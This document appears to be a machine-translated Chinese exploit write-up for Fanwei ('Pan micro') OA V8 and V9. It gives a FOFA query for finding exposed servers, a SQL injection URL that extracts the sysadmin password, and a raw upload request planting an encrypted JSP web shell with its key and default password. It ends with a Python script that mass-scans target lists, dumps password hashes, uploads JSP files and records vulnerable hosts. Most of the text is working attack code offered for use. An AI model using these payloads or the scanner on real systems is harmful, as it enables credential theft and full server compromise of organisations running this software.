0x00 introduction to pan micro OA
Founded in 2001 and headquartered in Shanghai, fanwei focuses on the field of collaborative management OA software, and is committed to taking collaborative OA as the core to help enterprises build a new mobile office platform.
0x01 vulnerability description
SQL injection vulnerability exists in Pan micro OA V8, through which an attacker can obtain administrator privileges and server privileges. Pan micro OA V9 has a file upload interface, resulting in arbitrary file upload
0x02 affected version
sql injection: Pan micro OA V8
File upload: fanwei OA V9
0x03FOFA
app = "Pan micro - Collaborative Office OA"
0x04 loophole recurrence
sql injection
In GetData JSP, directly give the request object to
weaver.hrm.common.AjaxManager.getData(HttpServletRequest,
ServletContext) :
Method processing
In the getData method, judge whether the cmd parameter in the request is empty. If not, call the proc method
The Proc method has 4 parameters, (empty string, cmd parameter value, request object, serverContext object)
In the proc method, judge the cmd parameter value. When the cmd value is equal to getSelectAllId, get the sql and type parameter values from the request and pass the parameters into the getSelectAllIds (sql,type) method
According to the above code flow, as long as the request parameters are constructed
?cmd= getSelectAllId&sql=select password as id from userinfo;
You can control the database
POC
http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager
Query the password field in the HrmResourceManager table, and the page returns the value of the first record in the database (the password of the sysadmin user)
After decryption, you can log in to the system
Arbitrary file upload
The vulnerability lies in: / page / exportimport / uploadoperation JSP file
The Jsp process is to determine whether the request is a multipart request and upload it directly.
Focus on file = new file (savepath + filename),
The Filename parameter is controllable in the foreground without any filtering restrictions
It's very easy to use. Just face it
127.0.0.1/page/exportImport/uploadOperation.jsp
Just a multipartRequest.
Then request the path:
page/exportImport/fileTransfer/1.jsp
POST /page/exportImport/uploadOperation.jsp HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 397 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 dnt: 1 x-forwarded-for: 127.0.0.1 Connection: close ------WebKitFormBoundary6XgyjB6SeCArD3Hc Content-Disposition: form-data; name="file"; filename="demo.jsp" Content-Type: application/octet-stream <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ------WebKitFormBoundary6XgyjB6SeCArD3Hc--
Address: / page / exportimport / Filetransfer / demo jsp
Default password rebeyond
0x05 batch script
This is what I wrote when I hvv was bored. I can inject sql and upload files for single target test and multi-target test, and save the addresses with vulnerabilities to txt files. It may be a little messy, but the vulnerability detection function can be realized generally.
import requests import urllib3 import time import argparse parser = argparse.ArgumentParser(description="Please enter the destination address") parser.add_argument('-u',type=str,help='Please enter url',dest='url',default='') parser.add_argument('-f',type=str,help='Please insert dictionary',dest='file',default='') args = parser.parse_args() Get_url = args.url Get_file = args.file def title(): print("*"*50) print("*"*4+" "*12+"Pan micro OA v9 Foreground file upload"+" "*8+"*"*4) print("*"*4+" "*12+"Pan micro OA v8 Reception sql injection"+" "*9+"*"*4) print("*"*4+" "*33+"By Guapi Chen"+"*"*4) print("*"*4+" "*2+"Single target example: python FanWpoc.py -u url"+" "*4+"*"*4) print("*"*4+" "*2+"Multi objective example: python FanWpoc.py -f *.txt"+" "*2+"*"*4) print("*"*50) def poc1(get_url): test_url1 = get_url + "/page/exportImport/uploadOperation.jsp" sql_url = get_url + "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager" header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36" } try: urllib3.disable_warnings() res_test = requests.get(url=test_url1,headers=header,verify=False,timeout=5) if res_test.status_code == 200: print(get_url+" "+"Target file upload page exists, testing file upload, please wait") time.sleep(1) poc2(get_url) else: print(get_url+" "+"The target file upload page does not exist,Change the address.") res_sql = requests.get(url=sql_url,headers=header,verify=False,timeout=5) if res_sql.status_code == 200 and '</html>' not in res_sql.text: md5pass = str.strip(res_sql.text) print("Target exists sql Injection vulnerability") vuln_sql = get_url+" user name: sysadmin md5 password:"+md5pass print(vuln_sql) print("--------------------------") with open('sql.txt','a+',encoding="utf-8") as s: s.write(vuln_sql+'\n') else: print(get_url+" "+"target does not exist sql Injection vulnerability") except Exception as e: print(get_url+" "+"Target request failed!",e) def poc2(get_url): test_url2 = get_url + "/page/exportImport/uploadOperation.jsp" header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36", "Connection": "close", "Content-Length": "500" } files = { 'file': ('guapi.jsp',"<%out.print(666);%>",'application/octet-stream') } try: res_1 = requests.post(url=test_url2,headers=header,files=files,verify=False,timeout=5) poc3(get_url) except Exception as c: print("File upload error!",c) def poc3(get_url): test_url3 = get_url + '/page/exportImport/fileTransfer/guapi.jsp' header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36", "Connection": "close", "Content-Length": "500" } res_2 = requests.get(url=test_url3, headers=header, verify=False, timeout=5) if '666' in res_2.text and res_2.status_code == 200: print("File upload succeeded!!!!!") vuln_file = get_url+'/page/exportImport/fileTransfer/guapi.jsp' print("Please visit the address:"+vuln_file) with open('file.txt','a+',encoding='utf-8') as file: file.write(vuln_file+'\n') else: print("Upload failed. There is no file upload vulnerability in the target") print("--------------------------") def poc4(): with open(args.file,'r+',encoding='utf-8') as f: for i in f.readlines(): s = i.strip() if 'http://' in s: poc1(s) else: exp1 = 'http://'+s poc1(exp1) f.close() if __name__ == '__main__': title() try: if Get_url != '' and Get_file == '': if 'http://' in Get_url: poc1(Get_url) else: exp2 = 'http://'+Get_url poc1(exp2) elif Get_url == '' and Get_file != '': poc4() except KeyboardInterrupt: print("End process....") pass
Reference Peiqi boss Library: http://wiki.peiqi.tech/